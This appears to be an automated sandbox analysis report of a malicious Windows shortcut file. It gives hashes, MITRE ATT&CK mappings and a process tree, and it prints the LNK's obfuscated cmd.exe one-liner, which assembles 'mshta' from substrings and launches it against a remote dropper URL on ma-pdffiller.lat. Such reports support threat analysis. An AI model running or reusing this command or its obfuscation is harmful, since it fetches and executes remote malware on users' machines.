31f33b86f579befd2e5b796f76208d2dc6b91eff5369cec8ec518553e0757100

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

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General

Target
DOC-NS19W0.lnk
Size 2KB
Sample260804-kenzca1se1
SHA256 31f33b86f579befd2e5b796f76208d2dc6b91eff5369cec8ec518553e0757100
MD5 48a329ef9c693288cd3a2f5bbf0d4b29
SHA1 d158d70c9911b71d4255fe30540bbdc5eeba2de5
SHA512 9cb140323a3c3c37f1cf39e41fe32bad9c6f56b1c01ecce44ed203540966290f6575f2e8d499807aecea32e90b1c706bf82f13b378fd51c2dab33f4a188b1f94
TLSH
T15941A9803BEE01C9F2BB8E72DEFAA75044BFB9525E21D65D0550814D4422B09E933B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6024	cmd.exe
4060	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4060 wrote to memory of 6024	4060	cmd.exe	90
PID 6024 wrote to memory of 1148	6024	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NS19W0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4060
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Sld=winlovewin&set Id=dbgctrgongrkiowqdbg&set Tf=tmpmfatqgbxoqtumpbncntmp&set fB=bakdjtckknebak&set rxGc=8nlst2p0&&set PjcHx=p12ar09t&&set Bzh=i4ta13&set yAA=dbgwdtyqhkzolzqmandbg&set pt=systrntpbuoeqljjmpsys&set ZTRe=tmppdwoczlxftmp&set mZ=umshtq8&&set Sv=25abj8&&set SAQW=htt@ps:@//ma-pdf@f@iller@.@l@at@/@h@/estagi@[email protected]@hp?@r@=3@9@1469@FB@5D@82DB&&start /b !mZ:~1,4!!Sv:~2,1! !SAQW:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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